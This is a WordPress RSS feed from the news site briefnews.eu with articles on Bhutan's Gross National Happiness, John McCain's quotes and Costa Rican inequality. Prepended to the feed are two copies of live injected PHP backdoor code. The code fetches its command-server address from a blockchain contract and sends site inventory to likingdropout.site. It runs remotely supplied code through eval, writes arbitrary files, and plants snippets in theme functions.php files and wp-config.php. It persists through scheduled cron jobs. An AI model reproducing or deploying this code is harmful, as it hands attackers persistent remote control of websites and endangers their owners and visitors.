// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Happiness – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 19 Sep 2018 09:32:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Happiness – Brief News https://briefnews.eu 32 32 Measuring happiness: Is Bhutan really the world’s happiest country? https://briefnews.eu/measuring-happiness-is-bhutan-really-the-worlds-happiest-country/ https://briefnews.eu/measuring-happiness-is-bhutan-really-the-worlds-happiest-country/#respond Wed, 19 Sep 2018 09:32:11 +0000 http://briefnews.eu/measuring-happiness-is-bhutan-really-the-worlds-happiest-country/
Emma Thomson

A viable philosophy or government propaganda? Bhutan is often praised for measuring its worth by citizens’ happiness alongside its economy, but can a country really calculate happiness—and if so, how?

I’m meandering along the world’s friendliest road. Hand-painted boulders remind drivers to “peep peep, don’t sleep,” and, a few hundred meters later, “mountain of pleasure, if you drive with leisure.” And instead of saying ‘back off’, the bumper sticker of the truck in front of us politely reads: “Don’t kiss me.”

Bhutan is famously the only country in the world to rank Gyalyong Gakid Palzom, or Gross National Happiness (GNH), above GDP. Everything—from governance and economic development to cultural preservation and environmental conservation—is decided according to this holistic tenet, designed to measure and protect the collective happiness and wellbeing of the population. When the UN General Assembly passed the resolution in 2011, it praised Bhutan and urged other members to follow suit.

But how does a country measure happiness and what’s it like to live that philosophy?

‘Gifted’ to the people by former King Jigme Singye Wangchuck in 2008, the philosophy, unique to the Land of the Thunder Dragon, is put into practice using a 30-page questionnaire that delves into the nine domains that are believed to contribute to a person’s happiness —psychological wellbeing, health, education, time use, cultural diversity and resilience, good governance, community vitality, ecological diversity, and resilience and living standards.

RELATED: Lagom: Is this the Swedish secret to happiness?

Participants are asked questions, such as: How often do you recite prayers or meditate? How satisfied are you with the relationship you have with your immediate family members? How many people close to you can you count on if sick, or if having financial problems? And how free do you feel to express your ideas and opinions?

The Bhutanese government argues the philosophy acts as ‘a compass towards a just and harmonious society’ and the questionnaire identifies gaps in happiness—such as that men tend to be happier than women, and urban, educated residents tend to be happier than rural citizens—and where they can improve amenities to re-address the balance. Ironically, though, Bhutan ranked 97 out of 156 on the 2018 World Happiness Report although they attribute this to the survey measuring happiness only via material wealth.

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I ask my guide, Sonam Pelden, what he thinks as we join the thrum of locals circling like honeybees around the Memorial Stupa in Thimphu, built in 1974 in remembrance of Bhutan’s third king. The elder generation are dropped off by their kids with a packed lunch and spend the day here, spinning the prayer wheels and touching their prayer beads. “It becomes a community which makes them happy,” says Sonam.

In many ways, GNH seems a natural extension of the Mahayana Buddhism that 75 per cent of the population follows. “In my opinion, GNH means being satisfied with what you have,” Sonam says.

I’d noticed the large camera resting on the back seat of the car he used for his birdwatching. “But you still want the latest camera and new lens,” I tease.

“Good point,” he says, laughing, “but that’s because we’re human—it’s the human condition to never be satisfied. The goal is to try and be satisfied.”

After a few paces, he adds: “Sadness will always be there, so GNH helps keep the balance. Perhaps GNH is better defined as ‘development with values’.”

I ask Sonam how happy he thinks his fellow countrymen are. “I’d say about 85 per cent,” he replied. While that may be somewhat optimistic, the ‘unhappy’ 15 per cent is likely to include Nepalese inhabitants.

In the 1990s, around 100,000 Hindu Nepalese—about 28 per cent of the population—were forcibly expelled from Bhutan after pushback over the 1989 royal decree made it mandatory to wear the national costume. For men, that means the knee-length gho (robe), and the sari-style kira (skirt) and tego (jacket) for women. (Today, it’s only compulsory in schools, monasteries, and government offices). Nepalese-led attacks resulted in the deaths of some officials and King Jigme Singye Wangchuck authorized an anti-immigrant drive.

It demonstrated the near-absolute power the king wields and overall, this raises issues of freedom of expression. Bhutan has a ban on smoking, tattoos, and the sale and consumption of alcohol on Tuesdays. Furthermore, negative statistics such as the rise in cases of Aids and tuberculosis are suppressed.

But can Bhutan share its model with other nations? “It works because our country is small,” says Sonam. Randy Durband, CEO of the Global Sustainable Tourism Council, agrees: “For practical reasons, few nations could follow their model because of Bhutan’s dramatic isolation. Perhaps a small destination could follow it, but not entire nations.”

Of course, happiness is a slippery state of being—by its very nature, it comes and goes. Trying to achieve it on a countrywide scale, then, may seem naïve; even impossible. Sceptics may accuse Bhutan of practising rose-tinted politics, yet their government has never denied the importance of GDP—rather, they rearranged its position in the hierarchy of needs.

Bad news always beats good to the headlines, and so too is it easier to pick holes in and argue about a fledgling do-good philosophy. As Sonam freely admits: “It’s complicated, but at least they’re trying a new model.” And in today’s increasingly fractured political and social landscape, perhaps this is an argument that’s worth having.

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]]> https://briefnews.eu/measuring-happiness-is-bhutan-really-the-worlds-happiest-country/feed/ 0 10 of John McCain’s best quotes on courage, happiness, and character https://briefnews.eu/10-of-john-mccains-best-quotes-on-courage-happiness-and-character/ https://briefnews.eu/10-of-john-mccains-best-quotes-on-courage-happiness-and-character/#respond Sun, 26 Aug 2018 00:57:23 +0000 http://briefnews.eu/10-of-john-mccains-best-quotes-on-courage-happiness-and-character/ John McCainJoshua Lott/Getty Images

Sen. John McCain, who has served in the Senate since 1987, has died at 81.

Here are 10 of the Arizona senator and former Republican presidential candidate’s best quotes on courage, happiness, and character.

John McCain on fighting for a cause

Shayanne Gal/Business Insider

John McCain on the nature of Americans

Shayanne Gal/Business Insider

John McCain on glory

Shayanne Gal/Business Insider


See the rest of the story at Business Insider

See Also:

SEE ALSO: A full breakdown of the dramatic 19 seconds when McCain killed the GOP’s healthcare bill

DON’T MISS: John McCain’s recovery could take longer than we thin

]]> https://briefnews.eu/10-of-john-mccains-best-quotes-on-courage-happiness-and-character/feed/ 0 The Country Where Happiness and Inequality Go Hand in Hand https://briefnews.eu/the-country-where-happiness-and-inequality-go-hand-in-hand/ https://briefnews.eu/the-country-where-happiness-and-inequality-go-hand-in-hand/#respond Sat, 25 Aug 2018 06:05:22 +0000 http://briefnews.eu/the-country-where-happiness-and-inequality-go-hand-in-hand/

The 2018 World Happiness Report named Costa Rica the happiest country in Latin America — not all that surprising when Costa Rica has for years topped global happiness rankings, alongside the usual Scandinavian suspects of Norway, Sweden and Denmark.

And yet. In the capital city of San José, the average gross salary is a reasonable $ 37,462. Four hours away in Limón, however, the gross average salary is just $ 9,096. At Doris Metropolitan, one of San José’s popular eateries, a mojito costs nearly $ 7. So one meal for four people there would consume .3 percent of a Limón resident’s annual salary.

How can happiness go hand in hand with such massive inequality? Despite being the happiest country in the region:

Costa Rica scores 48.7 on the 2016 GINI Index of wealth distribution, putting it in line with countries like the Ivory Coast and Cameroon.

“Like every country in Latin America, Costa Rica has grown into its inequality,” says Randall Brenes of Costa Rica’s U.N. Development Program. And for Brenes, the root cause is a crisis of education. “Children tend to get the same level of education as their parents. So, if the parents weren’t educated, their children won’t have as many educational opportunities.” But there’s more at play than this oft-lamented driver of systemic privilege and inequality. Two other prime factors would be Costa Rica’s service economy and its location.

The path to understanding how a country with deepening inequality can also score high on the happy meter has to start by abandoning Western notions of what happiness means. In its chapter on Latin America, the 2018 World Happiness Report states: “High happiness in Latin America is neither an anomaly nor an oddity. It is explained by the abundance of family warmth and other supportive social relationships frequently sidelined in favor of an emphasis on income measures.” Thus, markers of happiness are not universal — a big salary for some is less significant to others — and variables that at first glance seem contradictory become, on closer inspection, totally comprehensible. Large measures of inequality and happiness can, in fact, coexist.

This is not to say that high inequality in Costa Rica isn’t a legitimate concern. According to Alice H. Shackelford, the country’s U.N. resident coordinator, “poverty and inequality especially affects those on the margins of Costa Rican society, particularly Afro-Costa Ricans.” The problem has deep and complex roots that extend to other countries in the Americas, says Emmanuel Saez, professor of economics and director of the Center for Equitable Growth at the University of California, Berkeley. “Latin American countries never managed to reduce durable inequality in the middle of the 20th century,” he says.

Does that mean Costa Rica’s future will continue to ride on high inequality and high happiness? Absolutely not, say the experts. Shackelford and Brenes agree that even if the Costa Rican government hasn’t explicitly made combating inequality a top priority, its anti-poverty work, along with the work of nongovernmental organizations, is an important first step toward lessening the divide.

And while the plague of income inequality may seem like a recent phenomenon, history can be instructive here — providing a resource both for attacking the problem and crafting sound policy. The best course of action for the Costa Rican government, Saez suggests, would be to look elsewhere for success stories. There’s historical evidence from the U.S. and Europe showing that countries “can decrease their level of income and wealth concentration through progressive policies [such as] progressive taxation, anti-trust regulations and financial regulation,” he adds.

The end goal for Costa Rica, then, is to implement policies that will create an inclusive economy and banish inequality — while hanging on to its position atop the happiness podium.

Correction: The original version of this story contained a typo referring to the country’s island location.

